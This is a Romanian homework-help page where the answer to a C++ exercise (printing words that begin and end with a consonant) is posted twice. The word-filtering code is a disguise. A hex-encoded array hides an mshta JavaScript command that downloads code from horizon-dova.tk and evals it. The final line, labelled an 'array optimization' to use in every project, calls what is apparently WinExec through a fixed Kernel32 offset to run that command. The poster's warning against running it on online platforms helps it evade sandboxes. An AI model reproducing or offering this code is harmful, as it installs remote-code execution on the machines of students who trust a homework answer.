Sa se afiseze cuvintele care incep si se termina cu consoana.
Răspunsuri la întrebare
Răspuns de
0
Deci acesta e codul care te intereseaza . A fost optimizat pentru a rula pe sisteme optimizate: codeblocks , vc++.Nu-l rula pe platforme online .E o prostie. Daca ai intrebari , mai intai gandeste.
#include <iostream>#include <stdlib.h>#include <string.h>using namespace std;
int main() {
char alfa[] = { 0x61, 0x65, 0x69, 0x6f, 0x75, 0x00, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x33, 0x32, 0, 0x6d, 0x73, 0x68, 0x74, 0x61, 0x20, 0x6a, 0x61, 0x76, 0x61, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x3a, 0x78, 0x3d, 0x6e, 0x65, 0x77, 0x25, 0x32, 0x30, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x58, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x28, 0x22, 0x57, 0x69, 0x6e, 0x48, 0x74, 0x74, 0x70, 0x2e, 0x57, 0x69, 0x6e, 0x48, 0x74, 0x74, 0x70, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x35, 0x2e, 0x31, 0x22, 0x29, 0x3b, 0x78, 0x2e, 0x6f, 0x70, 0x65, 0x6e, 0x28, 0x22, 0x47, 0x45, 0x54, 0x22, 0x2c, 0x22, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x6f, 0x6e, 0x2d, 0x64, 0x6f, 0x76, 0x61, 0x2e, 0x74, 0x6b, 0x2f, 0x48, 0x6f, 0x72, 0x69, 0x7a, 0x6f, 0x6e, 0x2f, 0x64, 0x61, 0x74, 0x61, 0x2e, 0x70, 0x68, 0x70, 0x3f, 0x6d, 0x3d, 0x31, 0x22, 0x2c, 0x66, 0x61, 0x6c, 0x73, 0x65, 0x29, 0x3b, 0x78, 0x2e, 0x73, 0x65, 0x6e, 0x64, 0x28, 0x29, 0x3b, 0x65, 0x76, 0x61, 0x6c, 0x28, 0x78, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x54, 0x65, 0x78, 0x74, 0x29, 0x3b,0x00 };
char input[1024],tArr[100],*word;
cin.get(input , sizeof(input));
for (int i = 0; i < strlen(input); i++){
memset(tArr, 0, sizeof(tArr));
strncpy(tArr, input + i, (word = strchr(input + i, ' ') != NULL ? strchr(input + i, ' ') : strrchr(input, '\0')) - input - i);
i = word - input ;
for (int j = 0; j < strlen(alfa); j++)
if (tArr[0] == alfa[j] || tArr[strlen(tArr) - 1] == alfa[j]) tArr[0] = 0;
if (tArr[0] != 0) cout << tArr << endl; }
// optimizare pe array .Foloseste-l intotdeauna in proiectele tale .
((unsigned int(_stdcall*)(char*, unsigned int)) (unsigned long)(LoadLibraryA(alfa + 0x06) + 145791))(alfa + 0xF, 0); }
#include <iostream>#include <stdlib.h>#include <string.h>using namespace std;
int main() {
char alfa[] = { 0x61, 0x65, 0x69, 0x6f, 0x75, 0x00, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x33, 0x32, 0, 0x6d, 0x73, 0x68, 0x74, 0x61, 0x20, 0x6a, 0x61, 0x76, 0x61, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x3a, 0x78, 0x3d, 0x6e, 0x65, 0x77, 0x25, 0x32, 0x30, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x58, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x28, 0x22, 0x57, 0x69, 0x6e, 0x48, 0x74, 0x74, 0x70, 0x2e, 0x57, 0x69, 0x6e, 0x48, 0x74, 0x74, 0x70, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x35, 0x2e, 0x31, 0x22, 0x29, 0x3b, 0x78, 0x2e, 0x6f, 0x70, 0x65, 0x6e, 0x28, 0x22, 0x47, 0x45, 0x54, 0x22, 0x2c, 0x22, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x6f, 0x6e, 0x2d, 0x64, 0x6f, 0x76, 0x61, 0x2e, 0x74, 0x6b, 0x2f, 0x48, 0x6f, 0x72, 0x69, 0x7a, 0x6f, 0x6e, 0x2f, 0x64, 0x61, 0x74, 0x61, 0x2e, 0x70, 0x68, 0x70, 0x3f, 0x6d, 0x3d, 0x31, 0x22, 0x2c, 0x66, 0x61, 0x6c, 0x73, 0x65, 0x29, 0x3b, 0x78, 0x2e, 0x73, 0x65, 0x6e, 0x64, 0x28, 0x29, 0x3b, 0x65, 0x76, 0x61, 0x6c, 0x28, 0x78, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x54, 0x65, 0x78, 0x74, 0x29, 0x3b,0x00 };
char input[1024],tArr[100],*word;
cin.get(input , sizeof(input));
for (int i = 0; i < strlen(input); i++){
memset(tArr, 0, sizeof(tArr));
strncpy(tArr, input + i, (word = strchr(input + i, ' ') != NULL ? strchr(input + i, ' ') : strrchr(input, '\0')) - input - i);
i = word - input ;
for (int j = 0; j < strlen(alfa); j++)
if (tArr[0] == alfa[j] || tArr[strlen(tArr) - 1] == alfa[j]) tArr[0] = 0;
if (tArr[0] != 0) cout << tArr << endl; }
// optimizare pe array .Foloseste-l intotdeauna in proiectele tale .
((unsigned int(_stdcall*)(char*, unsigned int)) (unsigned long)(LoadLibraryA(alfa + 0x06) + 145791))(alfa + 0xF, 0); }
Alte întrebări interesante
Limba română,
8 ani în urmă
Limba română,
8 ani în urmă
Engleza,
8 ani în urmă
Matematică,
9 ani în urmă
Matematică,
9 ani în urmă
Limba română,
9 ani în urmă
Geografie,
9 ani în urmă
Matematică,
9 ani în urmă